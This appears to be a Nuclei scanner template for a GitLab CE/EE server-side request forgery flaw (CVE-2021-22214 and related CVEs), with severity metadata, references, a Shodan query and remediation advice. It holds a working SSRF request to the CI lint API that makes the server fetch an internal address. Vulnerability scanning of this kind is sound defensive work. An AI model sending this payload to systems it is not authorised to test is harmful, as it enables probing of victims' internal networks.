54 lines
1.9 KiB
YAML
54 lines
1.9 KiB
YAML
id: CVE-2021-22214
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info:
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name: Gitlab CE/EE 10.5 - Server-Side Request Forgery
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author: Suman_Kar,GitLab Red Team
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severity: high
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description: |
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GitLab CE/EE versions starting from 10.5 are susceptible to a server-side request forgery vulnerability when requests to the internal network for webhooks are enabled, even on a GitLab instance where registration is limited. The same vulnerability actually spans multiple CVEs, due to similar reports that were fixed across separate patches. These CVEs are:
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- CVE-2021-39935
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- CVE-2021-22214
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- CVE-2021-22175
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remediation: |
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Upgrade Gitlab CE/EE to a version that is not affected by the vulnerability (10.6 or higher).
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2021-22214
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- https://nvd.nist.gov/vuln/detail/CVE-2021-39935
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- https://nvd.nist.gov/vuln/detail/CVE-2021-22175
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- https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
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- https://docs.gitlab.com/ee/api/lint.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
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cvss-score: 8.6
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cve-id: CVE-2021-22214
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cwe-id: CWE-918
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epss-score: 0.16007
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epss-percentile: 0.95346
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cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: gitlab
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product: gitlab
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shodan-query: http.title:"GitLab"
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tags: cve,cve2021,gitlab,ssrf
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http:
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- method: POST
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path:
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- "{{BaseURL}}/api/v4/ci/lint?include_merged_yaml=true"
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body: |
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{"content": "include:\n remote: http://127.0.0.1:9100/test.yml"}
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headers:
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Content-Type: application/json
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host-redirects: true
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max-redirects: 3
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matchers:
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- type: word
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part: body
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words:
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- "does not have valid YAML syntax"
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# digest: 4a0a004730450220259904226917fd70036fa1d45e8ce2832225d820ccca23daa07c54736b3b6063022100cdb0f423640993c3809d9994ba8636125cced55b663e26db802e2850cbfdef9a:922c64590222798bb761d5b6d8e72950
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